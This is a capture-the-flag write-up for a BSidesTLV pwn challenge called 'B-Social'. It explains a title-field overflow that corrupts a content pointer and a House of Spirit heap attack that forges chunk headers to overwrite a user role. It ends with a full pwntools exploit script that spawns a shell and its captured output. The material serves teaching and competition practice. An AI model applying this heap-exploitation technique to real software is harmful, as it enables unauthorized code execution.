Smells Like Social Spirit
- Category: PWN
Description
Welcome to B-Social ;) The brand new BSidesTLV social media platform!
Written by Chen Gruber
Sources were attached.
Solution
We are provided with a binary representing a social media platform. Users can register, login, create posts, and delete posts. Let’s start exploring…
1. Structures
The binary uses a global variable curr_user stored in the BSS (static memory) to handle the active session. Based on the login and registration functions, we can reconstruct the structure:
struct User {
char username[32]; // Offset 0x00
char role[16]; // Offset 0x20 (Target: "ADMINADMINADMIN")
char password[64]; // Offset 0x30
}; // Total size: 112 bytes (0x70)
The posts are stored in a local array within main (on the stack):
struct Post {
char title[8]; // Offset 0x00
char *content_ptr; // Offset 0x08
};
2. The Win Condition
In the login function, there is a hidden menu option 4:
if (uVar4 == 4) { // Hidden option
if (strcmp(curr_user + 0x20, "ADMINADMINADMIN") == 0) {
system("/bin/sh");
}
}
The goal is to overwrite the role field (offset 0x20). However, registration explicitly zeros this field (memset), so we cannot write to it normally.
3. Vulnerability Analysis
The vulnerability lies in the new_post function within the read calls.
__buf = new_post_slot(...); // Points to a Post struct {title[8], content_ptr[8]}
// ... malloc content ...
*(void **)((long)__buf + 8) = pvVar2; // Store content pointer at offset 8
// ... Read Title ...
printf("Post title: ");
read(0, __buf, 0x10); // VULNERABILITY!
The Bug: The program reads 0x10 (16) bytes into __buf.
- The
titlebuffer is only 8 bytes. - Bytes 0-7 fill the title.
- Bytes 8-15 overwrite the
content_ptr.
Arbitrary Free:
The delete_post function works by freeing the pointer stored in the post slot:
free(*(void **)(lVar2 + -8)); // Frees the content pointer
Since we can control the content_ptr via the overflow in new_post, we can trigger free() on any address we choose.
Exploit Strategy: House of Spirit
We need to overwrite curr_user.role. Since curr_user is in the BSS (predictable memory location), we can use the House of Spirit technique.
We will trick malloc into believing that a specific part of the curr_user global variable is a valid heap chunk. We free it into the tcache, then allocate it again to write data into it.
Step 1: Forging the Fake Chunk
To free a pointer, it must look like a valid chunk (have a size header).
- Target Pointer:
curr_user + 0x10(Middle of username). - Chunk Header: Must exist at
Target - 0x08->curr_user + 0x08.- This corresponds to bytes 8-15 of the username.
- Value:
p64(0x31)(Size 0x30 + PREV_INUSE bit).
- Next Chunk Header: To satisfy
freesecurity checks, the next chunk in memory must also have a valid size.- Current chunk size is
0x30. Next header is atTarget + 0x30->curr_user + 0x40. - This corresponds to bytes 16-23 of the password.
- Value:
p64(0x21)(Size 0x20 + PREV_INUSE bit).
- Current chunk size is
Step 2: Triggering the Free
- Register a user with the forged payloads in Username and Password.
- Create a “dummy” post.
- In the “Title” field, send 8 bytes of padding followed by the address of our fake chunk (
curr_user + 0x10). - Delete this post. The program calls
free(curr_user + 0x10).- Allocator sees the fake header (0x31).
- Pushes
curr_user + 0x10into the 0x30 tcache bin.
Step 3: Overwriting the Role
- Create a new post.
- Request length
32(allocates from the 0x30 bin). mallocreturns our hijacked pointer:curr_user + 0x10.- We send the post content. We are writing to
curr_user + 0x10.- We need to reach
curr_user + 0x20(Role). - Offset =
0x10(16 bytes).
- We need to reach
- Payload:
padding(16) + "ADMINADMINADMIN".
Step 4: Win
Select hidden option 4 to get the shell.
Solution Script
from pwn import *
import sys
# context.binary = ELF('./bsocial')
HOST = '0.cloud.chals.io'
PORT = 10216
def solve():
# io = process('./bsocial')
io = remote(HOST, PORT)
# Load binary to get symbols
elf = ELF('./bsocial', checksec=False)
curr_user_addr = elf.symbols['curr_user']
log.info(f"curr_user address: {hex(curr_user_addr)}")
# --- Step 1: Forge Headers via Registration ---
# Target Chunk: curr_user + 0x10
# Header location: curr_user + 0x08 (inside Username)
# Size: 0x31 (Allocatable size 0x30)
username_payload = b'A' * 8 + p64(0x31) + b'A' * 16
# Next Chunk location: curr_user + 0x10 + 0x30 = curr_user + 0x40
# Header location: curr_user + 0x40 (inside Password)
# Size: 0x21 (Valid size)
password_payload = b'B' * 16 + p64(0x21) + b'B' * 40
io.sendlineafter(b'Choice: ', b'1') # Register
io.sendafter(b'username: ', username_payload)
io.sendafter(b'password: ', password_payload)
# Login
io.sendlineafter(b'Choice: ', b'2')
io.sendafter(b'username: ', username_payload)
io.sendafter(b'password: ', password_payload)
# --- Step 2: Poison Pointer & Free ---
# Create dummy post
io.sendlineafter(b'Choice: ', b'1') # New Post
io.sendlineafter(b'length: ', b'20')
io.sendafter(b'content: ', b'X'*20)
# Pointer Overwrite in Title
# Overwrite content_ptr with address of our fake chunk
fake_chunk_ptr = curr_user_addr + 0x10
title_payload = b'T'*8 + p64(fake_chunk_ptr)
io.sendafter(b'title: ', title_payload)
# Delete post (triggers free(fake_chunk_ptr))
io.sendlineafter(b'Choice: ', b'2')
# --- Step 3: Allocate & Overwrite Role ---
io.sendlineafter(b'Choice: ', b'1') # New Post
# Request size 32 to get our 0x30 chunk back
io.sendlineafter(b'length: ', b'32')
# We are writing to curr_user + 0x10.
# Role is at curr_user + 0x20.
# Offset = 16 bytes.
payload = b'P' * 16 + b'ADMINADMINADMIN'
io.sendafter(b'content: ', payload)
io.sendafter(b'title: ', b'pwned')
# --- Step 4: Shell ---
io.sendlineafter(b'Choice: ', b'4')
io.interactive()
if __name__ == '__main__':
solve()
Result
[*] curr_user address: 0x4040c0
[*] Switching to interactive mode
$ id
uid=1000(ctf) gid=1000(ctf) groups=1000(ctf)
$ cat flag.txt
BSidesTLV2025{W17h_tH3_fr33_0uT_it5_L3sS_d4N9erOu5}